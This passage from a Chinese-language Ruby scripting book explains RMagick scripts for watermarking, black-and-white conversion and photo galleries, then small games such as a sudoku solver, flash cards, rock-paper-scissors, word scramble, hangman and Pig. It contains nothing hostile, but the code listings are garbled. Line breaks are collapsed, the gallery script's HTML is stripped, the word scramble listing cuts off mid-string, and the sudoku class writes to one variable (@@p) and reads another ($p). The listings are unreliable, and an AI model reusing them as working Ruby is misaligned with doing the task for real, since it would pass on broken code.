watermark.rotate!(90) img.composite!(watermark, NorthEastGravity, HardLightCompositeOp) watermark.rotate!(-90) img.composite!(watermark, SouthEastGravity, HardLightCompositeOp) if File.exists?("wm_#{ARGV[0]}") puts "Image already exists. Unable to write file." exit end puts "Writing wm_#{ARGV[0]}"  img.write("wm_#{ARGV[0]}")
运行代码
使用要添加水印的图片作为命令行参数运行脚本:
**``ruby watermark.rb *`DSC_0001.JPG`*``**
结果
结果将是一个新的图像,每个角落都有No Starch Press。这个图像被命名为:
*`wm_DSC_0001.JPG`*
它是如何工作的
在复制无处不在的时代,水印已成为版权所有者的规范。这个脚本真正地锻炼了 RMagick 的功能,所以我将花更多的时间来解释具体发生了什么。前两个指令与之前的 RMagick 脚本相同,除了使用说明行!。为了开始编辑图片并创建水印,脚本将照片读入一个名为img的Image对象。
下一步是设计将要放置在我们照片中的水印。创建了一个新的 600x50 像素的图像,并命名为watermark!。这个图像目前什么也没有,但之后我们会遵循一些指令。如果您已经有了想要用于水印的图像,这将是在您想要放置它的区域。由于我们想在图片上显示No Starch Press,脚本将从头开始创建这些文字。创建了一个新的Draw对象,它将包含我们酷炫的文字!。
在创建Draw和Image对象之后,在Draw对象上调用annotate方法
。传递给此方法的参数是要注释的图像、矩形宽度、矩形高度、文本的 x 轴偏移量、文本的 y 轴偏移量,以及最后要使用的文本。我指定了宽度和高度为零,以便让该方法知道使用整个 600x50 像素的矩形。
在annotate方法中,文本被格式化和居中。在这个脚本中,我将文本居中,字体设置为 Arial,加粗,字号为 50 点
。玩转这些变量,以自定义您喜欢的文本样式。
水印现在已经被创建为平面文本。下一节将包括将水印图像放置在原始照片上的内容。您可以将水印放置在照片的任何您认为合适的位置。注意:尽量减少对数字内容的干扰。在这个例子中,第一个水印放置在照片的左下角。
我想让水印倾斜,以便当所有四个水印都设置好时,图片看起来像是有画框的。为了达到正确的角度,我使用了.rotate!方法,它操作图像
。感叹号提醒用户旋转将是“就地”的,或者永久保存到相同的变量中。
为了使水印更加突出,我使用了阴影方法,这为图像添加了酷炫的 3D 效果
。本质上,这些参数使图像看起来像是浮雕和透明的。第一个参数打开阴影属性,最后两个参数指定了模拟光源的角度和高度。RMagick 的网站(rmagick.rubyforge.org/)对不同的阴影有很好的解释。
为了完成水印,使用了composite方法将原始照片和水印图像混合在一起
。composite方法接收水印图像、重力类型(或水印在图像上的位置)以及要使用的composite operator。要查看CompositeOperator选项的完整列表,请访问www.imagemagick.org/RMagick/doc/constants.html#CompositeOperator/。最后一步是确保没有与文件名相同的文件存在,然后写入文件
。
转换为黑白
转换为黑白
bwPhoto.rb
今天,大多数计算机显示器是通过它们能显示多少颜色来比较的。电视屏幕可以显示人类眼睛能感知的所有颜色的几乎 100%。然而,在世界上所有的颜色中,黑白摄影仍然能捕捉到其他任何东西都无法比拟的美。这个脚本很棒。
一年前,我在弗吉尼亚州亚历山大的一个艺术画廊里展示了一些我的兰花照片。其中一张照片展示了一朵非常丑陋的花朵,一种奶油色,上面有模糊的棕色斑点。它既不是兰花最常见的鲜艳的粉红色,也不是天使般纯洁的白色。然而,当花朵被转换为黑白时,它展现出了罕见的美丽。现在,它已成为我个人的最爱之一。这正好说明了黑白摄影的力量。
代码
require 'RMagick' include Magick unless ARGV[0] puts "\n\n\n 您需要指定一个文件名: bwPhoto.rb <filename>\n\n\n" exit end new_img = "bw_#{ARGV[0]}"  img = Image.read(ARGV[0]).first  img = img.quantize(256, GRAYColorspace) if File.exists?(new_img) puts "无法写入文件。图像名称已存在。" exit end  img.write(new_img)
运行代码
与大多数图片实用脚本一样,这个脚本接受一个图像作为命令行参数。
**``ruby bwPhoto.rb *`DSC_0001.JPG`*``**
结果
结果将是一个名为的新图像:
*`bw_DSC_0001.JPG`*
工作原理
每次我看到这个脚本,它的优雅性都让我印象深刻。在本质上三行 Ruby 代码中,这个脚本可以完全改变一张图片。(你可以将脚本压缩成一行,但我将让你自己想出如何做到这一点。)到现在为止,你应该已经习惯了命令行参数的用户输入验证。主体部分首先读取将被转换为黑白的图像
。接下来,图像被 量化,这意味着图像中的颜色被分析,并使用一个子集来表示图片
。
GRAYColorspace 被用作转换颜色图像从红绿蓝(RGB)到灰度的第二个参数。quantize 的第一个参数告诉 RMagick 在采样期间想要使用多少种颜色。对于一张纯黑白照片,第一个参数应该是两个。在量化方法执行完毕后,img 将包含黑白图像
。自然地,我们希望通过使用 write 方法保存图像。文件名将添加 bw_ 前缀以表示这是一张黑白图像。
创建相册
创建相册
createGallery.rb
电子相册为与朋友和家人分享图片提供了一个完美的论坛。一堆全尺寸照片并不吸引人,也无法自立。需要一个漂亮的画廊来正确展示它们。这是一个简洁、简单的快速相册脚本。你可以根据需要修改和个性化这个画廊。你可以做得更复杂,但在这个例子中,我会尽可能保持简单。熟悉 HTML 有帮助,但不是必需的。
代码
`
require 'RMagick' require 'ftools' include Magick
photos_row = 4 table_border = 1 html_rows = 1
File.makedirs("gallery/thumbs", "gallery/resize")
output = File.new("gallery/index.html","w+b") html = <<EOF
欢迎来到我的相册
EOF output.puts html
Dir['.[Jj][Pp][Gg]'].each do |pic|
thumb = Image.read(pic)[0] thumb.change_geometry!('150x150') do |cols, rows, img| thumb.resize!(cols, rows) end if File.exists?("gallery/thumbs/th_#{pic}") puts "无法写入文件。缩略图已存在。" else thumb.write "gallery/thumbs/th_#{pic}" end
resize = Image.read(pic)[0] resize.change_geometry!('800x600') do |cols, rows, img| resize.resize!(cols, rows) end if File.exists?("gallery/resize/resize_#{pic}") puts "无法写入文件。调整大小后的图片已存在。" else resize.write("gallery/resize/resize_#{pic}") end
if html_rows % photos_row == 1 output.puts "\n" end
output.puts <<EOF EOF if html_rows % photos_row == 0 output.puts "" end html_rows+=1 end unless html_rows % photos_row == 1 output.puts "" end
output.puts "\n" output.puts "" output.close运行代码
要运行代码,只需从你想要创建相册的图片目录中运行脚本即可。
**`ruby createGallery.rb`**
结果
结果是一个包含在图片同一目录下的独立相册(图 4-2)。导航到gallery目录并打开index.html。这里将有两个子目录,包含缩略图和调整大小后的图片:thumbs和resize。
工作原理
在此脚本中需要两个库
。RMagick 用于图像处理,而 ftools 是必需的,因为脚本将创建三个目录。Magick 已包含在内,因此每个 RMagick 方法不需要使用显式(或完全限定)的接收者来调用。接下来,初始化三个变量,这些变量将决定最终的 HTML 输出
。其中两个变量将格式化网页输出,第三个变量是一个计数器。脚本被设置为每行显示四张图片,但你可以简单地更改变量 photo_row 为你喜欢的任何数字。对于 table_border,它指定了 HTML 表格边框的厚度。

图 4-2. 由 Ruby 制作的相册
照片画廊使用的目录结构包括一个名为 gallery 的主文件夹,以及用于缩略图和调整大小图片的单独目录。为了设置此目录结构,调用 File.makedirs
。方法内的每个参数都将创建一个目录。此外,如果目录位于几个目录的深处,该方法将创建父目录。因此,对于 gallery/thumbs,我不需要单独指定文件夹 gallery,因为该方法在创建 thumbs 的同时也会创建目录 gallery。
此脚本的最终结果将是一个网页。我们将网页命名为 index.html,这样 web 服务器就会知道它是主要的照片画廊页面。因为 index.html 不存在,我们必须使用 File.new 方法来创建它。文件将创建在我们的新 gallery 目录中
。接下来的代码块被称为 here-doc,它允许我像在普通文本编辑器中一样写入文本。我不必担心转义引号或添加 \n 来实现换行——here-doc 会保留所有这些。此脚本中的 here-doc 包含了 HTML 输出的开始部分,包含几个标签。前几部分创建网页标题,最后两行创建粗体标题并开始我们的表格。
在放置好目录并创建网页之后,是时候开始添加一些照片了。为此,我们需要扫描目录以查找任何 JPEG 图片。如果你打算添加其他类型的图片,你需要相应地更改这一行
。主目录遍历块分为三个不同的部分:创建缩略图、调整原始图片大小以及将适当的 HTML 代码添加到我们的网页中。
为了创建缩略图,我使用了与之前缩略图脚本不同的函数(参见创建缩略图中的“#24 创建缩略图”)。我之所以使用不同的方法,是为了确保网页内的统一性。我希望所有缩略图都保持相同的大小,因为这样看起来更好。首先,创建了一个新的图像对象,命名为thumb
。然后,将thumb传递给保持宽高比的change_geometry!方法。缩略图通常大小为 150x150 像素,因此这是作为change_geometry!参数设置的极限。在thumb图像被调整大小后,它被写入到*thumbs*目录中,并在图像名称前加上th_前缀。
对图像进行了类似的修改以调整其大小
。不是将图像限制在 150x150 像素,而是使用 800x600 像素的更大比例。全尺寸可以大到你观众的屏幕分辨率。根据我的网站访问者经验,大多数人的分辨率为 1280x1024,但有些人选择较小的 800x600 分辨率。在决定适合你目的的图像分辨率时,你需要考虑到这一点。在创建缩略图和调整图像大小时,我们绝对不希望覆盖现有的文件。因此,会显示一条错误消息,指出无法创建的图像名称,因为该名称已存在。
在创建完图像后,脚本将注意力转回到 HTML 文件上。此脚本使用表格来组织图像。通过一些数学技巧和一些精确的计算,该表格是对称的
。%,或称取模运算符,返回除法操作的余数。如果有余数为 1,脚本就知道应该开始新的一行。脚本使用相同的取模运算符,现在寻找余数为 0,以计算是否应该关闭行。无论$photos_row包含什么数字,都会创建一个符合规格的表格。在每行之间,由<td>和</td>表示的列:这是插入每个图像的位置。再次使用行号
上的 here-doc,HTML 文本告诉网页插入一个新的列条目,一个指向较大图像的超链接,该图像在新窗口中打开,一个标题,最后是图像缩略图。这个过程为每个图像重复进行。
一旦所有图像都被处理并添加到网页中,脚本会检查是否需要关闭行,然后输出一些最终的 HTML 注释来整理网页
。然后关闭 HTML 文件。
你可以通过进入相册文件夹并点击你刚刚创建的*index.html*文件来测试图像库。创建照片库没有比这更简单的方法了!
修改脚本
抽空玩玩嵌入的 HTML 代码,把相册变成你自己的风格!表格、颜色、字体等等,都有无限的可能性。如果你设计出一个酷炫的相册,随时可以发给我。
第五章:游戏和学习工具

每个人都知道游戏很有趣——游戏产业是巨大的。这一章将向您展示如何设计用于娱乐、学习和游戏的脚本。我发现编写生成游戏的脚本比编写解析防火墙日志的脚本有趣得多。但嘿,那只是我个人的看法。读一读这些,看看你有什么想法。第一个脚本是一个数独求解器,虽然不是一个游戏脚本,但它保证能找到每个数独谜题的解决方案!
数独求解器
数独求解器
sudoku.rb
在您当地的报纸上,有一些事情您一直可以依赖。其中之一是填字游戏,另一个是单词拼图——也就是说,直到数独热潮来临。我发现自己偶尔会尝试解决这些谜题,但大多数时候,我会卡住或出错。如果我不能解决这个谜题,我就不得不等到第二天报纸出来,这很令人沮丧,因为那时候我通常已经忘记了谜题。为了缓解我的沮丧,我写了这个脚本。算法来自由 Edmund von der Burg 编写的 Perl 脚本(www.ecclestoad.co.uk/)。
代码
class SudokuSolver def initialize(puzzle) @@p = puzzle.split(//) end  def solver h=Hash.new  81.times do |j| next if $p[j].to_i!=0  80.times do |k|  if k/9==j/9 || k%9==j%9 || k/27==j/27 && k%9/3==j%9/3 temp = $p[k] else temp = 0 end  h[temp] =1 end 1.upto(9) do |v| next if h.has_key?(v.to_s) $p[j]=v.to_s  solver end return $p[j]=0 end puts "\n\nThe solution is:\n" print "+-----------------------------+\n|"  1.upto(81) do |x| print " #{$p[x-1]} " if x%3==0 and x%9 !=0 print "|" end if x%9==0 and x%81 !=0 print"|\n|-----------------------------|\n|" end if x%81==0 puts "|" end end puts "+-----------------------------+" return end end  unless ARGV[0].length==81 puts "Your input was invalid. Please try again." puts "USAGE: ruby sudoku.rb <Sudoku puzzle on one line/no spaces with 0's being the blanks>" puts "Example:ruby sudoku.rb 000201600.....09605000" exit end  answer = SudokuSolver.new(ARGV[0]) puts "\n\n\nSolving puzzle, wait one moment..." answer.solver
运行代码
为了解决数独谜题,你必须将原始谜题配置作为命令行参数的一部分输入。对于每个空白,用零替换。如果谜题看起来像这样:

你的输入将是:
**`ruby sudoku.rb 000700390090500000300240800700900200000000000003007008004026007000005060026001000`**
结果
解决方案是:+-----------------------------+ | 5 4 2 | 7 6 8 | 3 9 1 | |-----------------------------| | 6 9 8 | 5 1 3 | 7 2 4 | |-----------------------------| | 3 7 1 | 2 4 9 | 8 5 6 | |-----------------------------| | 7 6 5 | 9 8 4 | 2 1 3 | |-----------------------------| | 4 8 9 | 1 3 2 | 6 7 5 | |-----------------------------| | 2 1 3 | 6 5 7 | 9 4 8 | |-----------------------------| | 9 5 4 | 3 2 6 | 1 8 7 | |-----------------------------| | 1 3 7 | 8 9 5 | 4 6 2 | |-----------------------------| | 8 2 6 | 4 7 1 | 5 3 9 | +-----------------------------+
工作原理
这个脚本与书中迄今为止讨论的每一个脚本都完全不同,所以请务必注意。主要区别在于使用了类及其内部的方法,而不是线性脚本执行。为了解决数独谜题,脚本需要递归地调用一个方法。递归是指一个方法作为子程序调用自身。要使用递归,首先需要有一个可以调用的方法。为了开始分析这个脚本,我们将从底部开始,然后跳回顶部。
如上所述,在运行脚本时,你必须将数独谜题作为命令行参数提供。如果你不提供一个 81 个字符的谜题,脚本会大声抱怨并退出
。解决谜题的第一步是初始化一个名为answer的SudokuSolver对象
。谜题作为初始化参数传递,然后通过split方法分解。split方法使我们能够将 81 个字符的字符串分解成小块,以便进一步操作。结果数组存储在类变量@@p中。对象初始化后,调用solver来解决谜题。
将脚本移动到顶部,你会看到定义了solver
。首先,创建一个哈希表来跟踪哪些值已被使用。接下来,我们进入一个循环,循环 81 次,因为数独谜题中有 81 个方块
。根据需要,分析数组@@p的每个索引以进行进一步计算。如果数组元素已经有一个不等于零的值,那么脚本将不会浪费时间解决那个数字——它已经提供了。如果数组元素包含一个零,那么脚本开始一个 80 次的第二个循环(数独谜题中所有方块的总数减去我们要解决的元素)
。在复杂的if语句
之后,脚本将保留零值不变或设置一个等于一的哈希表。这个if语句非常重要;它就是大多数魔法发生的地方。基于模运算和比较,脚本能够确定需要分析哪一行。
解决数独谜题可用的唯一数字是 1 到 9,因此为了不违反数独规则,哈希表会跟踪哪些数字已被使用
。如果一个数字在 1 到 9 的范围内已被使用,那么下一个数字就会被调用。
一旦找到一个尚未使用的数字,脚本开始它的递归;你可以看到solver方法在调用自己
。在所有循环都终止后,最后一步是输出解决方案。简单的方法是输出数组中每个元素的长字符串,但坦白说,那很丑。我发现输入原始谜题就足够具有挑战性了。
再次使用模运算符来确定何时开始新的行和列,脚本输出一个完美的数独谜题
。
Flash Cards
Flash Cards
flashCards.rb
闪卡曾经是许多临时抱佛脚学生的救星。它们可以用来记忆历史日期、词汇、外语以及几乎所有值得记住的东西。如果你以前从未遇到过闪卡,我会给你一个简要的介绍。传统上,闪卡是使用三乘五的索引卡的两面制作的。你在索引卡的正面写一个问题,在背面写那个问题的答案。然后你可以测试自己,以通过你正在学习的任何内容。这个脚本可以调整为一个游戏(想想Jeopardy!)或学习工具,但我们将关注后者。脚本将提示你一个问题,你必须提供正确的答案,否则……
代码
unless ARGV[0] puts "\n\n 用法是 flashCards.rb <文件>\n\n" exit end  flash = []  card = Struct.new(:question, :answer) File.open(ARGV[0], "rb").each do |line| if line =~ /(.*)\s{3,10}(.*)/  flash << card.new($1.strip, $2.strip) end end  flash.replace(flash.sort_by { rand })  until flash.empty? drill = flash.pop  print "#{drill.question}? " guess = $stdin.gets.chomp if guess.downcase == drill.answer.downcase  puts "\n\n 正确 -- 答案是: #{drill.answer}\n\n\n" else  puts "\n\n 错误 -- 答案是: #{drill.answer}\n\n\n" end end
运行代码
这个脚本需要一个基于以下格式的闪卡文件,问题和答案之间有五个空格:
*`问题 答案`*
要运行脚本,请提供闪卡文件作为参数。
**``ruby flashCards.rb *`flash.file`*``**
结果
脚本开始提示用户回答随机选择的问题。在这个例子中,我使用了一个英语到西班牙语的闪卡文件。输出如下:
train? El traino 错误 - 答案是: el tren orange? La naranja 正确 - 答案是: la naranja
工作原理
脚本读取闪卡文件并为其打开读取权限
。在此之前,我们一直在使用已经定义好的数据结构,例如数组和哈希。有时你可能需要自定义自己的数据结构。我使用了 Struct 命令来创建自己的数据结构,称为 card
。
注意
当你存储一个人的名字时,你应该将名字保存在一个字符串变量中。这些常见的数据结构是预定义的,以节省程序员的时间,但你也可以定义自己的数据结构,就像我使用Struct所做的那样。
card 包含两个元素——question 和 answer。为了制作和收集所有闪卡,闪卡文件 infile 是逐行分解的。每个闪卡都被添加到一个名为 flash 的数组中
。一旦到达文件末尾,flash 数组就包含了带有问题和答案的完整卡片集合。我非常喜欢它!
所有的闪卡都已经创建好了——所以我们几乎准备好开始折磨用户进行测验了。我们需要确保问题之间有一定的随机性,所以rand函数出现了。结合sort和replace方法,rand使得提问变得稍微混乱和不可预测
。数组中的卡片数量将决定问题的数量
。随机选择一张卡片,drill,然后将question变量展示给用户
。用户输入从控制台的标准输入读取,并与answer进行比较。
如果用户的猜测是正确的,脚本会恭喜用户并询问另一个问题
。然而,如果需要更多的学习,并且用户回答错误,他将会看到一个大的 错误 标签,后面跟着正确的答案
。你可以想出一种不同的方式来表示错误的猜测——可能是一种对自尊心稍微温和一些的方式——但这种方法似乎已经传达了重点。
脚本破解
你可以对这个脚本进行很多调整。以下是一些启发你思考的想法:将询问的问题数量设为变量或者继续提问直到达到 100%的准确率。最后,脚本可以保持一个计分板,让用户在所有问题都问过之后知道他或她的表现如何。闪卡很棒,所以不妨试试。谁知道呢,也许你开始学习另一种语言了!
数字猜谜游戏
数字猜谜游戏
guessingGame.rb
当你还是一个小孩的时候,这个数字猜谜游戏看起来足够简单:有人选择一个数字,你尝试猜出来。在这个脚本中,计算机进行的是伪随机数生成,这比你的朋友选择他最喜欢的数字要不可预测得多。当我写这段文字的时候,我开始想,“这听起来非常像成年人玩的游戏——彩票。”这有多疯狂?那个曾经让你作为小孩感到娱乐的游戏,现在作为成年人仍然很有趣。尽管彩票的回报要好得多,但几率要差得多。总的来说,这个游戏完全是关于机会的。
代码
puts "\n 欢迎来到数字猜谜游戏!\n\n\n\n" print "你希望选择哪个难度级别(低、中或高):" level = gets.chomp puts "输入 'q' 退出。\n\n\n\n\n" min = 1  max = case level when "medium" then 100 when "hard" then 1000 else 10 end puts "神秘数字在 #{min} 和 #{max} 之间。\n\n" magic_number = rand(max)+1 print "你的猜测是多少? " guess = gets.chomp  while guess =~ /\d/  case guess.to_i when 0...magic_number puts "太低了,再试一次。\n\n" when magic_number puts "\n 你猜对了!!!神秘数字是 #{magic_number}。\n\n\n" print "按 'enter' 键继续。" gets exit else puts "太高了,再试一次。\n\n" end print "你的猜测是多少? " guess = gets.chomp end puts "无效输入,你输了。"
运行代码
游戏开始不需要任何参数。输入以下内容:
**`ruby guessingGame.rb`**
结果
欢迎来到数字猜谜游戏! 你希望选择哪个难度级别(低、中或高):low 输入 'q' 退出。 神秘数字在 1 和 10 之间。你的猜测是多少? 7 太低了,再试一次。 你的猜测是多少? 9 你猜对了!!!神秘数字是 9。 按 'enter' 键继续。
游戏玩法
整个脚本围绕三个变量展开:min、max 和 guess。为了开始游戏,脚本会要求设置难度级别。难度级别对应于计算机将从中选择的数字范围。难度级别如下:
低 = 1-10 中 = 1-100 高 = 1-1000
在脚本请求用户输入难度级别后,响应将通过一个 case 语句处理
。case 语句就像是一堆增强版的 if 语句。根据响应,脚本将设置 max 的值。注意,min 总是设置为 1。
只要用户继续提供有效的猜测,游戏将继续响应猜测是比秘密数字高还是低
。另一个 case 语句使得返回适当的响应变得非常容易
。如果猜测在 0 和 magic_number 之间,那么猜测就太低了。同样,如果猜测在 magic_number 和 max 之间,那么猜测就太高了。如果猜对了 magic_number,那么用户就赢了。不幸的是,玩这个脚本你不会赢得任何钱。
石头、剪刀、布
石头、剪刀、布
rps.rb
我仍然在涉及另一个人且需要无偏见的意见的重大决策时使用剪刀石头布。我想我可以抛硬币,但剪刀石头布更有悬念。说真的,这个游戏在某些圈子中很受欢迎。如果你不知道,还有俱乐部和锦标赛来支持这个游戏。此脚本将成为你的练习伙伴,直到你进入高级别。
代码
 puts "\n\n 欢迎来到剪刀石头布!" puts "这是一个机会游戏;电脑随机选择三种选择之一。" puts "\n 石头胜剪刀,但被布打败。" puts "剪刀胜布,但被石头打败。" puts "布胜石头,但被剪刀打败。" puts "r 代表石头" puts "s 代表剪刀" puts "p 代表布\n" print "\n 请输入上述选项之一进行游戏: "  computer = "rsp"[rand(3)].chr  player = $stdin.gets.chomp.downcase  case [player, computer]  when ['p','r'], ['s','p'], ['r','s'] puts "\n\n 你赢了!"  when ['r','r'], ['p','p'], ['s','s'] puts "\n\n 你平局了!" else puts "\n\n 你输了!" end puts "电脑选择了:#{computer}"  puts "按<Enter>键继续。" $stdin.gets
运行代码
运行此脚本不需要命令行参数——只需全神贯注。只需输入:
**`ruby rps.rb`**
结果
我赢得了这场比赛,但我运气好。电脑似乎总是打败我。我可能不会在锦标赛上表现得那么好。获胜的游戏看起来是这样的:
欢迎来到剪刀石头布!这是一个机会游戏;电脑随机选择三种选择之一。石头胜剪刀,但被布打败。剪刀胜布,但被石头打败。布胜石头,但被剪刀打败。r 代表石头 s 代表剪刀 p 代表布 输入上述选项之一进行游戏:r 你赢了!电脑选择了:s 按 Enter 键继续。
它是如何工作的
任何游戏的第一步是输出规则和目标,这样用户就有公平的获胜机会!
。之后,获胜完全取决于用户。此脚本输出正在使用的符号,并提醒用户剪刀石头布是一个机会游戏。字母 r、p 和 s 用作玩石头、剪刀或布的快捷方式。脚本的一个有趣之处在于找出如何为电脑生成随机选择,然后确定什么构成了胜利。
为了处理电脑的随机选择,我使用了 rand 方法,并将 3 作为参数传递,让该方法知道我只想要三种选项中的一个!
。为了处理获胜条件,我需要用户输入,因此使用 player 存储用户的玩法!
。请注意,用户实际上是在电脑已经选择之后做出选择的。
如果你考虑这个游戏,只有三种结果:赢、输或平局。同样,只有三种获胜方式和三种失败方式。与其为每种结果分别编写一个单独的if语句,我尝试将条件抽象化并将它们合并成一个简短的case语句
。如果玩家出石头,电脑出剪刀,那么玩家获胜。如果玩家出布,电脑出石头,那么玩家获胜。如果玩家出剪刀,电脑出布,那么玩家获胜
。如果玩家和电脑选择相同,则游戏视为平局
。如果有任何其他组合,则玩家失败。这个概述并不复杂;你只需要仔细思考一下。
最后,为了确保用户游戏没有被操纵,输出电脑的选择。使用语句按<Enter>键继续允许用户处理游戏的结论
。
脚本破解
如果满足平局条件,你可以通过添加重试选项来破解这个脚本。此外,进行三局或五局最佳,并记录分数,可能会很有趣。我对我的一个胜利感到满意,所以我会坚持这样做。如果你对剪刀石头布的选择不满意,你可以添加像斯波克和蜥蜴(见www.samkass.com/theories/RPSSL.html/)这样的东西。
单词拼图
单词拼图
wordScramble.rb
正如我在 Sudoku Solver 上的"#29 数独求解器"中提到的,单词拼图是一款经典游戏。一个能够同时锻炼你的词汇量和吸引你注意力的游戏是非常迷人的。这款经典游戏可以在报纸、杂志甚至仅限于单词拼图的书籍中找到。但当你能定制自己的游戏时,谁还需要那些呢?
代码
unless ARGV[0] and File.exists?(ARGV[0]) puts "\n\n 用法是 wordScramble.rb <word.file>\n\n" exit end  tries = 10 words = File.readlines(ARGV[0])
mystery_word = words[rand(words.size)].chomp
scramble_word = mystery_word.split(//).sort_by{rand}.join scramble_word.downcase! puts "\n\n\n 打乱的单词是: #{scramble_word}" puts "猜猜这个单词..." puts "你还有 #{tries} 次猜测机会。" guess = $stdin.gets.chomp.downcase
while guess =~ /[^Qq]/ if tries == 0 puts "\n\n 好尝试,但单词是: #{mystery_word}." exit elsif guess != mystery_word.downcase puts "\n 你的猜测不正确。 #{tries -= 1} 剩余..." puts "\n 打乱的单词是: #{scramble_word}。" guess = $stdin.gets.chomp.downcase else puts "\n\n\n 你猜对了,干得好!\n\n" puts "按
运行代码
你需要一个单词列表,从中可以选择一个单词来打乱。字典单词列表是一个完美的例子:每行一个单词,字符数量不限。只需记住,单词越长,难度越高。要玩这个游戏,请输入:
**``ruby wordScramble.rb *`word.file`*``**
结果
The scrambled word is: yrbu Guess the word... You have 10 guesses left. **``*`yubr`*``** Your guess was incorrect. 9 left... The scrambled word is: yrbu **``*`ruby`*``** You got it, great job! Press <Enter> to continue.
工作原理
这个脚本是一个基本的单词打乱游戏。没有任何技巧:唯一的目标是猜测打乱的单词。猜测的次数是有限的。在这个脚本中,用户有 10 次机会猜测打乱的单词
。为了得到一个随机单词来打乱,脚本读取作为命令行参数传递的文件,并将内容保存到words中。然后选择一个随机单词并存储在mystery_word中。所有这些都在一行中完成
。我将为你分解这一行。首先,使用rand函数从 0 到words.size中选择一个随机数。然后,随机选择的words.array中的元素就是脚本将要打乱的单词。单词使用chomp方法进行清理,最后保存到mystery_word中。
现在已经随机选择了一个单词,我们可以开始混乱的游戏了。这个脚本的有趣之处在于如何足够地打乱mystery_word,使用户感到挑战。我选择打乱单词的方式是依赖于split、rand、sort_by和join方法
。split方法将单词拆分,然后rand和sort_by打乱单词,最后join将碎片重新组合。脚本的最后部分是处理用户的猜测
。只要用户没有输入 Q 来退出,游戏就会继续。显然,如果猜对了正确的单词,脚本将祝贺用户并退出。如果猜测不正确,只要tries大于零,用户就会得到另一次机会。
挂字游戏
挂字游戏
hangman.rb
挂字游戏是另一种有趣的单词游戏!大多数人知道如何玩挂字游戏。如果用户不知道如何玩,规则很简单解释。随机选择一个单词,只知道字符的数量——有点像幸运轮盘。用户有六次机会猜出单词,否则人就会被绞死,游戏结束。
代码
unless ARGV[0] and File.exists?(ARGV[0]) puts "\n\n 用法是 hangman.rb <word.file>\n\n" exit end words = File.readlines(ARGV[0]) mystery_word = words[rand(words.size)].chomp solution = Array.new(mystery_word.length, "-") guessed = [] steps = 6  while steps > 0  puts <<EOM \n\n\n 你还有 #{steps} 次猜测机会。 已猜出的字母:#{guessed} Word: #{solution} EOM print "输入一个字母或猜出单词: " guess = $stdin.gets.downcase.chomp  if guess == mystery_word.to_s puts "你被赦免了!" exit end  if guessed.include?(guess) puts "你已经猜过那个字母了。再试一次..." next  elsif mystery_word.include?(guess) puts "那个字母被找到了。" mystery_word.each_index do |x| if mystery_word[x] == guess  solution[x] = guess end end  else puts "对不起,那个字母不正确。" end guessed << guess steps -= 1 end puts "\n\n\n 哎呀! 你被吊死了!" puts "单词是:#{mystery_word}。"
运行代码
挂人游戏脚本需要一个参数来指定选择单词的文件。
**``ruby hangman.rb *`word.file`*``**
结果
你还有 6 次猜测机会。已猜出的字母:Word: ---- 输入一个字母或猜出单词:r 字母被找到了。 你还有 5 次猜测机会。已猜出的字母:r Word: r--- 输入一个字母或猜出单词:s 对不起,那个字母不正确。 你还有 4 次猜测机会。已猜出的字母:rs Word: r--- 输入一个字母或猜出单词:t 对不起,那个字母不正确。 你还有 3 次猜测机会。已猜出的字母:rst Word: r--- 输入一个字母或猜出单词:b 字母被找到了。 你还有 2 次猜测机会。已猜出的字母:rstb Word: r-b- 输入一个字母或猜出单词:y 字母被找到了。 你还有 1 次猜测机会。已猜出的字母:rstby Word: r-by 输入一个字母或猜出单词:e 对不起,那个字母不正确。 哎呀! 你被吊死了!单词是:ruby。
如何工作
游戏开始的方式类似于 Word Scramble 中的"#33 Word Scramble":脚本从单词文件中随机选择一个单词(作为命令行参数传递)。guessed用于跟踪已猜出的字母,并创建一个solution数组。
一个 while 循环控制着程序的流程
。用户有六次猜测的机会来猜出mystery_word。 (这六个步骤代表了用户的头部、身体、两个手臂和两条腿,以防你有所疑问。) 游戏开始时,会向用户展示已经猜出的字母和解决方案中的空格,并提示用户输入一个字母
。
如果用户输入了 mystery_word,则游戏获胜;这是对输入进行的第一次检查
。如果用户只输入了一个字母,则脚本会检查该字母是否包含在 mystery_word 中
。如果字母在 mystery_word 中未找到,脚本会告诉用户猜测另一个字母
。如果找到字母,则脚本开始施展其魔法。这是我找到的最有趣的脚本部分
。
each_index 方法用于遍历每个字母。我选择 each_index 而不是 each 的原因是 each 会返回每个索引处的字母。我只想使用每个字母的索引并比较字母。当你继续阅读时,你会明白原因。索引用于比较猜测的字母和 mystery_word 的当前字母。如果找到字母,则将解决方案中的相应索引设置为该字母
。这会在打印解决方案时揭示正确猜测的字母。此方法还会捕获重复的字母。
字母猜测的过程会一直持续,直到猜对正确的单词或者用户用完了机会。总体来说,脚本很短,但玩起来非常有趣。
Pig
Pig
pig.rb
Pig 是我们这个时代不太为人所知的游戏之一,但无论如何,它是一个很有趣的游戏。它只需要一个六面的骰子。游戏的目标是通过添加投掷的总和来达到 100 分。在你的回合中,你可以想投多少次就投多少次,但如果投出 1 点,你将失去那个回合获得的所有分数,然后你的对手有机会积累分数。Pig 是一个简单的游戏,但它赢得胜利却出奇地困难。
代码
 puts "\n\n\n\n\n\n\n 欢迎来到游戏 PIG!" puts "\n----说明----" puts "游戏的目标是达到 100 分。" puts "*** 注意,如果你掷出 1 点,你将失去 ***" puts "*** 你的回合和你可能获得的任何分数。 ***" puts "\n 祝你好运!" puts "\n\n 按<Enter>键继续..." gets  player1 = 0 player2 = 0 turn_total = 0 turn = true d1 = rand(6)+1 puts "\n\n\n\n---玩家 1 掷骰子---" puts "按<Enter>键再次掷骰子或按'h'键保持。" input = gets.chomp.downcase while input != 'q'  unless input == 'h' if turn puts "\n\n\n\n---玩家 1 掷骰子---" puts "玩家 1 的总分是: #{player1}\n\n" else puts "\n\n\n\n---玩家 2 掷骰子---" puts "玩家 2 的总分是: #{player2}\n\n" end d1 = rand(6)+1 puts "你掷出了: #{d1}\n\n"  if d1 == 1 puts "****很抱歉,你没有得分并且失去了你的回合。***" puts "按<Enter>键继续..." gets turn_total = 0 input = 'h' next end  turn_total = turn_total+d1 puts "你这一轮的总分是: #{turn_total}"  if turn_total >= 100 puts "你赢了!" exit end puts "按<Enter>键再次掷骰子或按'h'键保持。" input = gets.chomp.downcase else if turn player1 = player1+turn_total puts "\n\n 玩家 1 的总分是 #{player1}\n\n"  if player1 >= 100 puts "\n\n 玩家 1 赢了!\n\n\n" exit end turn = false else player2 = player2+turn_total puts "\n\n 玩家 2 的总分是 #{player2}"  if player2 >= 100 puts "\n\n 玩家 2 赢了!\n\n\n" exit end turn = true end turn_total = 0 input = 'other' end end
运行代码
